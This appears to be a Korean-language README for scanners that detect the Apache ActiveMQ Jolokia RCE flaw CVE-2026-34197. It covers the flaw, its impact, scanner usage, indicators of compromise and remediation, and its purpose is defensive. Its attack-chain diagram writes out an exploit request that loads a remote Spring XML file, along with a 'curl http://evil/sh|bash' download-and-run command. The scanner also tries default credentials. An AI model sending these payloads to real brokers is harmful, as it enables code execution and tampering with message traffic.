
Detects Apache ActiveMQ Classic RCE (CVE-2026-34197) via Jolokia API with Python and Nmap NSE scripts, checking unauthenticated access and version vulnerability.
Apache ActiveMQ Classic의 원격 코드 실행 취약점으로, 공격자가 Jolokia API(/api/jolokia/)를 통해 addNetworkConnector(String) MBean 작업을 호출하여 임의 코드를 실행할 수 있습니다. 공격자는 원격 Spring XML 파일을 가리키는 악성 brokerConfig 매개변수를 삽입하며, ActiveMQ가 이를 가져와 파싱하면서 임의의 Java 객체를 인스턴스화하고 코드 실행을 달성합니다.
ActiveMQ 버전 6.0.0부터 6.1.1에서는 Jolokia 엔드포인트가 완전히 인증되지 않은 상태이므로, 이는 제로클릭 비인증 RCE입니다.
이 취약점은 발견되기 전까지 13년 동안 코드베이스에 숨겨져 있었으며, AI 지원을 통해 발견되었습니다.
| 필드 | 세부 정보 |
|---|---|
| CVE ID | CVE-2026-34197 |
| 공급업체 | Apache Software Foundation |
| 제품 | Apache ActiveMQ Classic |
| 영향받는 버전 | 5.19.4 및 6.2.3 이전의 모든 버전 |
| 비인증 RCE | 버전 6.0.0부터 6.1.1까지 (Jolokia에 인증 없음) |
| CVSS v3.1 | 8.8 (높음) |
| CWE | CWE-94 — 코드 생성의 부적절한 제어 |
| 공격 벡터 | 네트워크 |
| 인증 | 5.x에서는 필수, 6.0.0부터 6.1.1까지는 없음 |
| 사용자 상호작용 | 없음 |
| 악용 성숙도 | 공개 PoC 사용 가능 |
| 패치 버전 | ActiveMQ Classic 5.19.4, 6.2.3 |
| 버그 수명 | 코드베이스에 약 13년 |
| 발견 경위 | AI 지원 취약점 연구 |
Apache ActiveMQ Classic은 Java 생태계에서 가장 널리 배포된 오픈소스 메시지 브로커 중 하나입니다. Java Message Service(JMS) 사양을 구현하며, 전 세계 수천 개의 엔터프라이즈 환경에서 비동기 통신의 중추 역할을 합니다.
ActiveMQ는 주문 처리 큐와 금융 거래 파이프라인부터 IoT 원격 측정 스트림과 마이크로서비스 이벤트 버스에 이르기까지 모든 것을 처리합니다. 조직에서 Java 기반 마이크로서비스, 이벤트 기반 아키텍처 또는 모든 형태의 비동기 메시징을 사용한다면, 스택 어딘가에 ActiveMQ가 있을 가능성이 높습니다.``` ActiveMQ Broker ┌───────────────────────┐ │ │ ┌──────────┐ │ ┌───────────────┐ │ ┌──────────┐ │ Producer │───────▶│ │ Message │ │───────▶│ Consumer │ │ (App A) │ send │ │ Queue / │ │ recv │ (App B) │ └──────────┘ │ │ Topic │ │ └──────────┘ │ └───────────────┘ │ ┌──────────┐ │ │ ┌──────────┐ │ Producer │───────▶│ ┌───────────────┐ │───────▶│ Consumer │ │ (App C) │ │ │ Jolokia │ │ │ (App D) │ └──────────┘ │ │ API (:8161) │ │ └──────────┘ │ └───────┬───────┘ │ └───────────┼───────────┘ │ ⚠️ CVE-2026-34197 Attack surface here
공격자가 ActiveMQ를 장악하면 단순히 한 대의 서버에서 셸을 얻는 것에 그치지 않습니다. 공격자는 조직 내 **모든 메시지 흐름의 중심**에 자리 잡아, 중요 시스템 간의 메시지를 읽고, 수정하고, 리디렉션하거나 주입할 수 있게 됩니다.
---
## 취약점 심층 분석
### 아키텍처: Jolokia와 JMX
**JMX**(Java Management Extensions)는 Java 애플리케이션의 표준 관리 인터페이스입니다. 이는 애플리케이션 내부를 모니터링하고 제어할 수 있게 해주는 "MBean"(Managed Beans)을 노출합니다. ActiveMQ는 브로커, 큐, 토픽, 연결 등을 관리하기 위한 MBean을 노출합니다.
**Jolokia**는 JMX-over-HTTP 브리지입니다. JMX 작업을 RESTful JSON API로 변환하여, 전용 JMX 클라이언트 없이도 HTTP 요청을 통해 Java 애플리케이션을 관리할 수 있게 해줍니다.
ActiveMQ Classic에는 Jolokia가 내장되어 있으며, 웹 콘솔 포트(기본값: 8161)의 `/api/jolokia/` 경로에서 접근할 수 있습니다.```
Traditional JMX Access:
┌──────────┐ ┌──────────────┐
│ JConsole │ ────── JMX Protocol ─────────> │ ActiveMQ │
│ │ (requires JMX client) │ MBeans │
└──────────┘ └──────────────┘
Jolokia HTTP Access:
┌──────────┐ ┌──────────────┐
│ curl / │ ── POST /api/jolokia/ ───────> │ ActiveMQ │
│ browser │ (just needs HTTP) │ MBeans │
└──────────┘ └──────────────┘
⬆️
Anyone with HTTP access can
invoke MBean operations
여기서 문제가 시작됩니다. Jolokia는 간단한 HTTP API를 통해 JMX 관리의 모든 기능을 노출합니다. 그리고 브로커에서 사용 가능한 MBean 작업 중 하나는 addNetworkConnector(String)입니다.
addNetworkConnector(String) 작업은 ActiveMQ 브로커 인스턴스 간에 네트워크 브리지를 생성하도록 설계되었습니다. 이 작업은 다른 브로커에 연결하는 방법을 설명하는 URI 문자열을 허용합니다.
ActiveMQ는 프로세스 내 브로커 연결을 위한 vm:// URI 스킴을 지원합니다. 이러한 URI는 Spring XML 구성 파일을 가리키는 brokerConfig 매개변수를 지원합니다. 그리고 Spring XML은 임의의 Java 객체를 인스턴스화할 수 있습니다.
전체 체인은 다음과 같습니다:``` Step 1: Attacker sends POST to /api/jolokia/ ┌────────────────────────────────────────────────────────────┐ │ POST /api/jolokia/ │ │ { │ │ "type": "exec", │ │ "mbean": "org.apache.activemq:type=Broker,brokerName= │ │ localhost", │ │ "operation": "addNetworkConnector", │ │ "arguments": [ │ │ "vm://b?brokerConfig=xbean:http://evil.com/pwn.xml" │ │ ] │ │ } │ └────────────────────────────────────────────────────────────┘ │ ▼ Step 2: ActiveMQ parses the vm:// URI Sees brokerConfig=xbean:http://evil.com/pwn.xml │ ▼ Step 3: ActiveMQ fetches http://evil.com/pwn.xml (outbound HTTP request from the broker) │ ▼ Step 4: The XML is parsed as Spring configuration Spring instantiates beans defined in the XML │ ▼ Step 5: Malicious bean executes arbitrary Java code ┌──────────────────────────────────────────┐ │ │ │ │ │ │ │ /bin/bash │ │ -c │ │ curl http://evil/sh|bash │ │ │ │ │ │ │ │ │ └──────────────────────────────────────────┘
ActiveMQ는 정확히 설계된 대로 동작하고 있습니다: 브로커 구성을 로드하는 것입니다. 문제는 구성 소스가 공격자에 의해 제어되며, Spring XML은 사실상 코드 실행 형식이라는 점입니다.
### 인증 공백
이것이 이 취약점을 심각한 수준에서 치명적인 수준으로 끌어올리는 요소입니다:
| ActiveMQ 버전 | Jolokia 인증 상태 | 영향 |
|:---:|:---:|:---:|
| 5.x (< 5.19.4) | 인증 필요 (기본값: admin:admin) | 인증된 RCE, 종종 쉽게 우회됨 |
| 6.0.0 ~ 6.1.1 | **완전히 인증 없음** | **인증 없는 RCE** |
| 6.1.2 ~ 6.2.2 | 인증 필요 | 인증된 RCE |
| 5.19.4+ / 6.2.3+ | 패치됨 | 취약하지 않음 |
ActiveMQ 6.0.0부터 6.1.1까지는 Jolokia 엔드포인트에 **인증이 전혀 필요하지 않습니다**. 포트 8161에 접근할 수 있는 사람은 누구나 인증 없는 원격 코드 실행을 얻을 수 있습니다.
Jolokia가 인증을 요구하는 버전에서도 기본 자격 증명인 `admin:admin`은 널리 알려져 있으며 개발, 스테이징, 프로덕션 환경에서 변경되지 않은 채로 자주 남아 있습니다.
---
## 영향 분석
**브로커 호스트에 대한 즉각적인 영향:**
- ActiveMQ 프로세스의 권한으로 완전한 원격 코드 실행
- 모든 메시지 큐, 토픽, 저장된 메시지에 대한 접근
- 전송 중인 메시지 읽기/수정/주입 능력
- 구성 파일, 키스토어, 저장된 자격 증명에 대한 접근
**하위 영향 (메시지 조작을 통한):**
- 처리 큐에 악성 메시지 주입
- 진행 중인 금융 거래, 주문 또는 명령 수정
- 브로커를 통과하는 민감한 데이터 가로채기
- 메시지에 의존하는 모든 서비스 중단
**엔터프라이즈 위험 증폭:**
- ActiveMQ는 이를 사용하는 모든 애플리케이션의 교차점에 위치
- 단일 손상된 브로커가 수십 개의 연결된 서비스에 영향을 줄 수 있음
- 메시지 브로커는 일반적으로 광범위한 접근 권한을 가진 신뢰된 네트워크 영역에 배치됨
- 브로커의 네트워크 위치에서 측면 이동은 간단함```
What an attacker can do after exploitation:
┌─────────────────────────────────────────────────────────┐
│ Compromised ActiveMQ Broker │
└────┬───────────┬───────────┬───────────┬──────────┬─────┘
│ │ │ │ │
▼ ▼ ▼ ▼ ▼
Read/modify Inject Pivot to Intercept Deploy
messages malicious connected creds in persistent
in transit messages systems messages backdoor
| 버전 | 상태 |
|---|---|
| ActiveMQ Classic 6.2.3+ | 패치됨 |
| ActiveMQ Classic 5.19.4+ | 패치됨 |
| ActiveMQ Classic 6.0.0 ~ 6.2.2 | 취약 (6.0.0 ~ 6.1.1 = 인증 없음) |
| ActiveMQ Classic < 5.19.4 | 취약 (인증 필요) |
| ActiveMQ Artemis | 영향 없음 (다른 코드베이스) |
Python 스크립트는 다단계 분석을 통해 취약한 ActiveMQ 인스턴스를 탐지합니다.
작동 방식:
/api/jolokia/에 인증 없이 접근 가능한지 테스트합니다 (HTTP 200 = 열림, 401 = 인증 필요)admin:admin, user:user, admin:activemq를 시도합니다/admin/ 및 / 페이지에서 정규식 패턴 매칭을 사용하여 ActiveMQ 버전 문자열을 스크랩합니다org.apache.activemq:type=Broker에 대한 안전한 Jolokia 검색 쿼리를 수행하여 익스플로잇 경로가 존재하는지 확인합니다악성 페이로드는 전송되지 않습니다. 명령이 실행되지 않습니다. 스캐너는 엔드포인트 접근성과 버전 정보만 관찰합니다.
사용법:```bash
pip install -r requirements.txt
python CVE-2026-34197_ActiveMQ_Jolokia_detector.py -t http://activemq-host:8161
python CVE-2026-34197_ActiveMQ_Jolokia_detector.py -t http://10.0.0.1:8161 -u admin -p secret
python CVE-2026-34197_ActiveMQ_Jolokia_detector.py -f targets.txt -o results.json -v
python CVE-2026-34197_ActiveMQ_Jolokia_detector.py -t https://activemq-host:8161
python CVE-2026-34197_ActiveMQ_Jolokia_detector.py -t http://10.0.0.1:8161 --timeout 20
**옵션:**
| 플래그 | 설명 | 기본값 |
|------|-------------|---------|
| `-t`, `--target` | 단일 대상 URL (예: `http://host:8161`) | — |
| `-f`, `--file` | 대상 URL이 한 줄에 하나씩 포함된 파일 (`#` 주석 지원) | — |
| `-u`, `--username` | Jolokia 인증용 사용자 이름 | — |
| `-p`, `--password` | Jolokia 인증용 비밀번호 | — |
| `-o`, `--output` | 결과를 JSON 파일로 저장 | — |
| `--timeout` | 연결 제한 시간(초) | `10` |
| `--verify-ssl` | SSL 인증서 검증 활성화 | 비활성화 |
| `-v`, `--verbose` | 전체 세부 정보가 포함된 상세 출력 | 꺼짐 |
**출력 예시:**```
[*] CVE-2026-34197 Apache ActiveMQ Jolokia RCE Scanner
[*] Scanning 1 target(s)...
======================================================================
Target: http://10.0.0.1:8161
Scan Time: 2026-04-14T15:30:00Z
Risk Level: CRITICAL
======================================================================
Jolokia Accessible: YES
Requires Auth: NO (unauthenticated)
ActiveMQ Version: 6.1.0
Vulnerable: YES
Unauth RCE (6.0-6.1): YES — CRITICAL
Broker MBean Access: YES
Details:
- Jolokia API accessible WITHOUT authentication
- Detected ActiveMQ version: 6.1.0
- Version 6.1.0 is in unauthenticated range (6.0.0 - 6.1.1)
CRITICAL: No auth required!
- Broker MBean accessible: [org.apache.activemq:type=Broker,...]
======================================================================
[*] Scan Complete: 1 targets scanned
[*] Vulnerable: 1 | Critical: 1
======================================================================
sudo cp CVE-2026-34197_ActiveMQ_Jolokia.nse /usr/share/nmap/scripts/ sudo nmap --script-updatedb
nmap -p 8161 --script CVE-2026-34197_ActiveMQ_Jolokia
nmap -p 8161 --script CVE-2026-34197_ActiveMQ_Jolokia 10.0.0.0/24
nmap -p 8161,61616,443,8080 --script CVE-2026-34197_ActiveMQ_Jolokia
nmap -p 8161 --script CVE-2026-34197_ActiveMQ_Jolokia -iL targets.txt
nmap -sV -p 8161 --script CVE-2026-34197_ActiveMQ_Jolokia
**Nmap 출력 예시:**```
PORT STATE SERVICE
8161/tcp open http
| CVE-2026-34197_ActiveMQ_Jolokia:
| VULNERABLE:
| Apache ActiveMQ Jolokia RCE (CVE-2026-34197)
| State: VULNERABLE
| Risk level: CRITICAL
| ActiveMQ Version: 6.1.0
| Jolokia Accessible: true (unauthenticated)
| Description:
| CRITICAL: Jolokia API is accessible without authentication on
| ActiveMQ 6.1.0, enabling unauthenticated remote code execution
| via addNetworkConnector MBean.
| References:
|_ https://nvd.nist.gov/vuln/detail/CVE-2026-34197
curl을 사용하여 수동으로 확인하려면:```bash
curl -sk http://:8161/api/jolokia/ | python3 -m json.tool
curl -sk -u admin:admin http://:8161/api/jolokia/ | python3 -m json.tool
curl -sk http://:8161/api/jolokia/search/org.apache.activemq:type=Broker,brokerName=*
| python3 -m json.tool
1단계에서 Jolokia 에이전트 정보가 포함된 JSON 응답이 반환되면 엔드포인트는 인증되지 않은 상태입니다. 2단계가 기본 자격 증명으로 작동하면 인증된 액세스 권한이 있는 것입니다. 어느 쪽이든 브로커 MBean에 접근할 수 있다면 익스플로잇 경로가 존재합니다.
---
## 침해 지표
환경에서 다음과 같은 징후를 확인하세요:
| 지표 | 확인 위치 | 찾아야 할 것 |
|:---|:---|:---|
| Jolokia 접근 | 웹 콘솔 접근 로그 | `addNetworkConnector`가 포함된 `/api/jolokia/`에 대한 POST |
| 외부 가져오기 | 네트워크 로그 / 방화벽 | ActiveMQ에서 예상치 못한 외부 호스트로의 HTTP 요청 |
| Spring XML 로딩 | ActiveMQ 로그 | `xbean:http://` URI 참조 |
| 네트워크 커넥터 | 브로커 구성 | 직접 생성하지 않은 `brokerConfig` 매개변수가 포함된 `vm://` URI |
| 하위 프로세스 | 프로세스 모니터링 | ActiveMQ Java 프로세스에서 생성된 예상치 못한 프로세스 |
**조사 명령:**```bash
# Check ActiveMQ logs for suspicious Jolokia operations
grep -r "addNetworkConnector\|brokerConfig\|xbean:http" /var/log/activemq/
# Check for unexpected network connectors in running broker
curl -sk http://<TARGET>:8161/api/jolokia/read/org.apache.activemq:type=Broker,brokerName=localhost/NetworkConnectors
# Monitor for unexpected outbound connections from the ActiveMQ process
ss -tnp | grep java
# Check for unexpected child processes
ps aux --forest | grep -A5 activemq
즉시 조치 (지금 바로 수행):
/api/jolokia/에 대한 외부 접근 차단admin:admin을 사용 중인 경우 변경단기 조치 (이번 주 내):
addNetworkConnector 작업 탐색)장기 조치:
Kerem Oruç — 사이버보안 엔지니어